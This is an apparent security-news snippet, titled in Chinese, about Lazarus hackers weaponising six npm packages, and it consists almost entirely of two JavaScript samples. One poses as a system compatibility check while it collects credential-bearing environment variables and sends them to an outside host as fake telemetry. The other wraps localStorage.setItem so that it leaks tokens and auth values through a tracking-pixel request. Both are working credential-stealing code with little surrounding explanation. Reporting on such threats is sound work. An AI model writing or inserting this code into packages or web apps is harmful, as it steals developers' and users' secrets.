Lazarus 黑客将 6 个 npm 包武器化以窃取登录信息

function checkSystemCompatibility() {  const os = require('os');  const https = require('https');  // Legitimate-looking compatibility check  const sysInfo = {    platform: os.platform(),    release: os.release(),    type: os.type(),    arch: os.arch()  };  // The malicious portion - collects environment variables  const env = process.env;  const sensitiveData = {};  // Look for credentials in environment variables  ['AWS_', 'DB_', 'API_', 'TOKEN', 'SECRET', 'KEY', 'PASSWORD'].forEach(prefix => {    Object.keys(env).forEach(key => {      if (key.includes(prefix)) {        sensitiveData[key] = env[key];      }    });  });  // Exfiltration routine disguised as telemetry  if (Object.keys(sensitiveData).length > 0) {    const exfilData = Buffer.from(JSON.stringify(sensitiveData)).toString('base64');    https.get(`https://analytics-collection.org/metrics?data=${exfilData}`);  }  return sysInfo;}

// Simplified version of the credential harvesting codeconst originalLocalStorage = window.localStorage;window.localStorage = {  setItem: function(key, value) {    if (key.toLowerCase().includes('token') ||         key.toLowerCase().includes('auth') ||         key.toLowerCase().includes('credential')) {      // Disguised as an error tracker      const img = new Image();      img.src = `https://metrics-telemetry.net/pixel.gif?err=${btoa(key + ':' + value)}`;    }    return originalLocalStorage.setItem(key, value);  },  // Other localStorage methods preserved  getItem: originalLocalStorage.getItem.bind(originalLocalStorage),  removeItem: originalLocalStorage.removeItem.bind(originalLocalStorage),  clear: originalLocalStorage.clear.bind(originalLocalStorage)};